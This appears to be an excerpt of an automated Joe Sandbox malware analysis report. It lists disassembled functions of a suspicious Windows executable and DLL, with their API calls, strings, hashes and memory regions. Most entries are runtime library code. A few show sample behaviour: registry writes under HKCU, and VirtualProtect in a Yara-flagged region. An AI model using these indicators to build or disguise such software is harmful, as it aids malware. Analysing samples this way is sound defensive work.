Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 0040B7C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040B7F7
___except_validate_context_record.LIBVCRUNTIME ref: 0040B7FF
_ValidateLocalCookies.LIBCMT ref: 0040B888
__IsNonwritableInCurrentImage.LIBCMT ref: 0040B8B3
_ValidateLocalCookies.LIBCMT ref: 0040B908

Strings

csm, xrefs: 0040B89D

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 0a5d0bd6c222bbdd43f8b319fa79a96d429a9708f3c046b0ae0cbd11a01f7e51
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 11418535A00219DBCF10EF69C885A9EBBA5EF44318F14C17AE8147B3E2D7399905CBD9

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 04D1ABC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04D1ABF7
___except_validate_context_record.LIBVCRUNTIME ref: 04D1ABFF
_ValidateLocalCookies.LIBCMT ref: 04D1AC88
__IsNonwritableInCurrentImage.LIBCMT ref: 04D1ACB3
_ValidateLocalCookies.LIBCMT ref: 04D1AD08

Strings

csm, xrefs: 04D1AC9D

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 750e59d06b6bac8997abbd2ebca06cf50b6215c0eaf1232c9d74bdac9963eca9
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 1841B234B01258BBCF10DF68E884A9EBBA6FF44328F148055EC195B362D735F905CBA0

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 10007367
api-ms-, xrefs: 10007353

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00413339 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00413448,00403597,?,00000000,00402809,0040280B,?,004135C1,00000022,FlsSetValue,00422950,00422958,00402809), ref: 004133FA

Strings

ext-ms-, xrefs: 004133A4
api-ms-, xrefs: 00413390

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction ID: 89836d951bc72d4e20e2faa1a52db581b462940ce5fd44a8dff6846afbaeb460
Opcode Fuzzy Hash: b8c7e483e8ea991eea5b44eb111e182d5bd336103010429673e37ca0c8998616
Instruction Fuzzy Hash: A3212731B01214EBDB329F21DC44ADB7B68AB41765B200133ED15A73D1DA78EE46C6DC

Function 1000B6D8 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000B720
__fassign.LIBCMT ref: 1000B905
__fassign.LIBCMT ref: 1000B922
WriteFile.KERNEL32(?,10009A1A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000B96A
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000B9AA
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000BA52

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction ID: 817bf58f8fa712ded97291eda06853010b29bdec4c6be72b636a35a8a914ce65
Opcode Fuzzy Hash: 56600ca1f679adaeecf8f36430617c19199fd47716f68d51f6ae8f72f541c1cc
Instruction Fuzzy Hash: 9DC1CF75D006989FEB11CFE8C8809EDBBB5EF09354F28816AE855F7245D631AE42CB60

Function 0040B984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040B97B,0040AF1F,0040A730), ref: 0040B992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040B9A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040B9B9
SetLastError.KERNEL32(00000000,0040B97B,0040AF1F,0040A730), ref: 0040BA0B

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: c1383cefff0a9c77c0f6256a7d22d0577fd0bc713188e5814d490c4ea7085b9f
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 6D0192727197119EE63427B97CC6A6B2B94EB01778760033BF520752E2EB39480255CC

Function 10003DFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,10003C01,10002DB0,100027A7,?,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8), ref: 10003E08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 10003E16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 10003E2F
SetLastError.KERNEL32(00000000,100029DF,?,00000001,?,?,00000001,?,100167D8,0000000C,10002AD8,?,00000001,?), ref: 10003E81

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction ID: cea4d4d1ab0609a38d25ccf127c64f3389598815618148a6298b3cccc824aafb
Opcode Fuzzy Hash: 6af44c204d35e0e87e783e409bd385f4178bd984da96cbfbdded34095f80bc15
Instruction Fuzzy Hash: 610124379083A66EF25BC7B49CC964B379AEB0D3F53208329F114410F8EFA29E45A244

Function 04B5BBEB Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,04B5BBE2,04B5B186,04B5A997), ref: 04B5BBF9
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 04B5BC07
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 04B5BC20
SetLastError.KERNEL32(00000000,04B5BBE2,04B5B186,04B5A997), ref: 04B5BC72

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction ID: 6aa0adfddb83c856484edfb267a0c027b78ea150434a97a385df620e2e433f01
Opcode Fuzzy Hash: d6c575caaa9e79ca82c8f10f2e1bf5459d856a9b56868e1e7e4fca28ce884c4a
Instruction Fuzzy Hash: 3001B53620D7119EA7342BBD7CC4B6BEF65EB0167C72002B9E925A60F1EE5578026188

Function 004015D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004015D5

Part of subcall function 00409842: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0040984E

MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,00000000,?,?,0042D884,?,?,?,0042DAF4), ref: 0040160B
MultiByteToWideChar.KERNEL32(00000000,00000000,?,12041A13,00000000,?,0042D884,?,?,?,0042DAF4), ref: 00401642
Concurrency::cancel_current_task.LIBCPMT ref: 00401757

Strings

string too long, xrefs: 004015D0

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: string too long
API String ID: 2123813255-2556327735
Opcode ID: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction ID: 8b29ff92f67febe7d184f40cd986ab90276924f3587203b15f4be4e0e60d2281
Opcode Fuzzy Hash: 281a2476be6cc453a5ad27d9da9e1dc32d507c6cc5bf7aa10868f271ceef2746
Instruction Fuzzy Hash: 5E4127B1A00300ABD720AF759C8575BB7B8EF48354F24063AF91AE73D1E775AD0487A9

Function 004058D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122registrysleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,?,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00405903
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020006,?), ref: 00405925
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?), ref: 0040594D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00405956
Sleep.KERNEL32(000005DC), ref: 00405A90

Strings

mixone, xrefs: 00406219

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateOpenSleepValue
String ID: mixone
API String ID: 4111408922-3123478411
Opcode ID: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction ID: 36deb0a2def4af7d69c3889f60f670a394a8a5da25757ff3a02b89eea185ed5b
Opcode Fuzzy Hash: 5956f32b293078b1f23111287794b54aa008f1a70d72d9563616efc3db9a2cf7
Instruction Fuzzy Hash: F3418571210108AFEB08DF58DC95BEE7B65EF08300F908229F955AB5D1D778E9848F58

Function 00410580 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BC1B9E62,0040280B,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105B5
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 004105C7
FreeLibrary.KERNEL32(00000000,?,00000000,0041DA7B,000000FF,?,0041055C,08758BC2,?,00410530,00000016), ref: 004105E9

Strings

CorExitProcess, xrefs: 004105BF
mscoree.dll, xrefs: 004105AE

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction ID: f4dd53f2cc94282f557b0741292325b7031a84366b21a1c3c136dd1e19965a8c
Opcode Fuzzy Hash: d9f390a0c8d24d43879d0675fee7d7aa557a7bdfd7840f409546c87a96f2ba59
Instruction Fuzzy Hash: F501A271A44625FBDB128F80DC05BEEBBB9FB04B51F004536F811A22A0DBB8A944CB58

Function 10005FAA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FBF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10005FD2
FreeLibrary.KERNEL32(00000000,?,?,10005F5C,?,?,10005F24,?,?,?), ref: 10005FF5

Strings

mscoree.dll, xrefs: 10005FB8
CorExitProcess, xrefs: 10005FCA

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction ID: ce5d81a5a20928f213bfffb098e7a6005668583a74e8757c7f390ca8b74bdc84
Opcode Fuzzy Hash: 72e1e31047de7c6f2cb357695238b525e407410b4f5b93aeb37e18346654144b
Instruction Fuzzy Hash: 1BF01C31904129FBEB06DB91CD0ABEE7AB9EB047D6F1041B4F501A21A4CBB5CE41DB90

Function 1000A5DD Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,1000A899,00000000,00000000,00000000,00000001,?,?,?,?,00000001), ref: 1000A680
__alloca_probe_16.LIBCMT ref: 1000A736
__alloca_probe_16.LIBCMT ref: 1000A7CC
__freea.LIBCMT ref: 1000A837
__freea.LIBCMT ref: 1000A843

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction ID: 1dd90d70d9504398cfa9d6ef4ea6864651e072268de8b4bf5549d7cf43e308ef
Opcode Fuzzy Hash: 6801c7cf1a2c1c6b356f2cb05e88654cbb9424f85dc0dbbe55d1f090f9a52ad6
Instruction Fuzzy Hash: C081A472D042569BFF11CE648C81ADE7BF5EF0B6D0F158265E904AB148DB369DC1CBA0

Function 1000AFB7 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 1000B03B
__alloca_probe_16.LIBCMT ref: 1000B101
__freea.LIBCMT ref: 1000B16D

Part of subcall function 100079EE: RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

__freea.LIBCMT ref: 1000B176
__freea.LIBCMT ref: 1000B199

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction ID: ca0e6193c5ab93552cef367aef9b2c098b98f9a761b18089088d519bce5e91c7
Opcode Fuzzy Hash: 08a43eba5b954a3f04cd68b018e4776cfa43d2eee8ce0c2eced5adaaebccb1f4
Instruction Fuzzy Hash: 6651C072600616ABFB21CF64CC81EAF37E9EF456D0F624129FD14A7158EB34EC5197A0

Function 00415010 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00415095
__alloca_probe_16.LIBCMT ref: 0041515E
__freea.LIBCMT ref: 004151C5

Part of subcall function 00413C79: RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

__freea.LIBCMT ref: 004151D8
__freea.LIBCMT ref: 004151E5

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction ID: def92c4ecd74f4627ee81fabb5ad5435351d3551a42f570b1979e48308b83863
Opcode Fuzzy Hash: c0223aac213706da923d74aec6f81ab2cdbbbf03147a9c613dee044af7b571ef
Instruction Fuzzy Hash: 1A51B372A00646FFDB225FA1CC41FFB3AA9EF84754B25002FFD04D6251EA39CD918668

Function 04D24410 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 04D24495
__alloca_probe_16.LIBCMT ref: 04D2455E
__freea.LIBCMT ref: 04D245C5
__freea.LIBCMT ref: 04D245D8
__freea.LIBCMT ref: 04D245E5

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction ID: ac3f8945c145c1e42f0d57a3a44e0cdf93e6509e6ccb2dcaf94a123c8b3c1567
Opcode Fuzzy Hash: c409ed0a73a31f3b78c849091ec1d6b89a85a3ccc37d0e928c6a0ebb1540a73b
Instruction Fuzzy Hash: C351DF72700267BFEB219F609E88EBB36A9FF6471CB150129FE54DA110EA71EC50C670

Function 04B52C87 Relevance: 7.6, APIs: 5, Instructions: 113memorywindowCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 04B52D2F
GetLastError.KERNEL32(00000400,?,00000000,00000000,?,?,?,?), ref: 04B52D44
FormatMessageA.KERNEL32(00001300,00000000,00000000,?,?,?,?), ref: 04B52D52
LocalAlloc.KERNEL32(00000040,?,?,?,?,?), ref: 04B52D6D
OutputDebugStringA.KERNEL32(00000000,?,?), ref: 04B52D8C

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: AllocDebugErrorFormatLastLocalMessageOutputProtectStringVirtual
String ID:
API String ID: 2509773233-0
Opcode ID: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction ID: c672c41f61911b1122e435cbc337cb08610a312794d798e82e88b96d659db82a
Opcode Fuzzy Hash: 135e4059f0a8e16b6c40cfe3354c74ba5c0e8907b24caca148f615c37fe0627b
Instruction Fuzzy Hash: 0A311435B01104AFEB149F58DC41FAAB7B8EF48300F4541E9EE05EB262DB31AD16CB94

Function 10002986 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 100029C3
dllmain_crt_dispatch.LIBCMT ref: 100029DA
dllmain_raw.LIBCMT ref: 10002A22
dllmain_crt_dispatch.LIBCMT ref: 10002A35
dllmain_raw.LIBCMT ref: 10002A48

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction ID: 86b98bd5048e9daedf5606c3f96c4c2c05ee8e367bee4de8e4e1682ebb6c2564
Opcode Fuzzy Hash: c90a93295f6bc331d57bb8f47297671563acdadf013a8df03a89f4d1d37c88ce
Instruction Fuzzy Hash: EA21A476E0526AAFFB32CF55CC41ABF3AA9EB85AD0F014115FC4867258CB309D419BD1

Function 0040CA97 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx), ref: 0040CAA4
GetLastError.KERNEL32(?,0040CA48,00000000,?,0042D0F8,?,?,?,0040CBEB,00000004,InitializeCriticalSectionEx,00420B18,InitializeCriticalSectionEx,00000000,?,0040C836), ref: 0040CAAE
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0040CAD6

Strings

api-ms-, xrefs: 0040CABB

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction ID: aef67c255cc06d75e4f2c7ed4f9f6bc06eb467b970858842cb7b754112db4c8a
Opcode Fuzzy Hash: 6ea35a358fe08483aaca9864d5c7ce1afea2c26e9c9286d7bdd8822d2b58ffa3
Instruction Fuzzy Hash: 12E01230380308F6EF105F61ED46B5A3F569B11B54F108131F90DF85E1D7B5A815998C

Function 0041968C Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BC1B9E62,00000000,00000000,00000000), ref: 004196EF

Part of subcall function 00414F58: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,004151BB,?,00000000,-00000008), ref: 00414FB9

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00419941
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419987
GetLastError.KERNEL32 ref: 00419A2A

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
Instruction ID: 80e927e20e1d5b3063f5f9ef1e9119d7a86b1541eeacf5ee68ba8f7951c90f01
Opcode Fuzzy Hash: 7b6b5b0f837ac57406110df98857d0f42911bc00a2c7897a29ebb1bace7e2d44
